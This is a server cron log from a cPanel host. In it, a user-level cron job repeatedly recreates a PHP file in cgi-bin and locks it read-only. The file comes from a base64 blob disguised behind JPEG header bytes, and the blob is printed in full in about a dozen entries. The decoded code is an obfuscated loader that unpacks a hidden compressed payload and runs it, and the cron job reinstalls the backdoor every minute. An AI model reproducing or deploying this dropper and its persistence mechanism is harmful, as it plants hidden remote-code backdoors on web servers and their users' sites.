Aug 31 09:26:01 server CROND[20290]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 09:26:01 server CROND[20291]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 09:26:01 server CROND[20292]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 09:27:01 server CROND[20675]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 09:27:01 server CROND[20677]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 09:27:01 server CROND[20678]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 09:27:01 server CROND[20676]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 09:28:01 server CROND[21166]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 09:28:01 server CROND[21167]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 09:28:01 server CROND[21169]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 09:29:01 server CROND[21537]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 09:29:01 server CROND[21538]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 09:29:01 server CROND[21539]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 09:30:01 server CROND[21931]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 09:30:01 server CROND[21932]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 09:30:01 server CROND[21933]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 09:30:01 server CROND[21935]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 09:30:01 server CROND[21936]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 09:30:01 server CROND[21934]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 09:30:01 server CROND[21938]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 09:30:01 server CROND[21942]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 09:31:01 server CROND[22971]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 09:31:01 server CROND[22970]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 09:31:01 server CROND[22972]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 09:32:02 server CROND[23386]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 09:32:02 server CROND[23387]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 09:32:02 server CROND[23388]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 09:33:01 server CROND[23855]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 09:33:01 server CROND[23856]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 09:33:01 server CROND[23858]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 09:34:01 server CROND[24231]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 09:34:01 server CROND[24232]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 09:34:01 server CROND[24233]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 09:35:01 server CROND[24621]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 09:35:01 server CROND[24624]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 09:35:01 server CROND[24627]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 09:35:01 server CROND[24626]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 09:35:01 server CROND[24623]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Aug 31 09:35:01 server CROND[24629]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 09:35:01 server CROND[24628]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 09:35:01 server CROND[24630]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 09:35:01 server CROND[24625]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 09:36:01 server CROND[25479]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 09:36:01 server CROND[25481]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 09:36:01 server CROND[25480]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 09:37:01 server CROND[25859]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 09:37:01 server CROND[25860]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 09:37:01 server CROND[25861]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 09:38:01 server CROND[26327]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
